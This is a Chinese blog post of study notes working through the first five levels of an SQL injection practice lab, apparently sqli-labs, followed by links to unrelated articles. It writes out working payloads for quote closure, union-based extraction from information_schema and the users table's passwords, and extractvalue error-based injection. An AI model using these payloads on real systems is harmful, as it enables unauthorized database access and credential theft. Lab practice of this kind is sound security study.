• sql靶场


    最近做题都遇见sql题,感觉自己sql基础可能掌握的不太好,抽空复习一下

    第一关

    打开界面输入 '报错,注入点是单引号闭合,找到了,然后

    ' or true %23显示正确

    接下来,确定有几列,' order by 3 %23 ,确定三列

    查看回显位置,

    接下来查看表名直接

    ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
    

    直接看一下users表 

    ' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" %23

    ' union select 1,group_concat(username,password),3 from users %23

     第二关

        测试是不是字符型类型,还是数值型类型

    输入  1 and 1=1,1 and 1=2 如果回显一样就是字符型,不一样则是数值型

    这道题回显不一样所以是数值型直接,

    id=-1 select 1,2,3%23 其他步骤和上题一样

    第三关 

    输入双引号没回显,单引号回显报错,猜测闭合方式为 ')然后注入

    ') union select 1,2,3 %23
    

     后面步骤相同

    第四关

    测试发现闭合方式是  ")

    第五关

     

    第五关尝试完了以后发现,是用单引号闭合的,然后没回显位置,只会显示 you are in。这种情况大概率都是盲注,但是盲注太复杂试一下报错注入

    1. 爆数据库
    2. ?id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+
    3. 爆表名
    4. ?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))--+
    5. 爆列名(字段)
    6. ?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+
    7. 爆值
    8. ?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+
    9. 这里也需要不断改变limit的条件,找到我们想要的表名,字段名!
  • 相关阅读:
    STM32F4系列单片机GPIO概述和寄存器分析
    二叉树的定义、性质及遍历算法
    Leetcode 877. 石子游戏
    第四章 使用Vitepress搭建文档网站
    就业班 第三阶段(负载均衡) 2401--4.19 day3
    使用jmeter+ant+jenkins+git搭建自动化测试平台
    【面试干货】数据库乐观锁,悲观锁的区别,怎么实现
    RabbitMQ-基本概念/环境配置
    Profinet转modbusTCP网关快速配置案例
    利用百度AI接口实现车牌识别功能(三)
  • 原文地址:https://blog.csdn.net/qq_62046696/article/details/126959604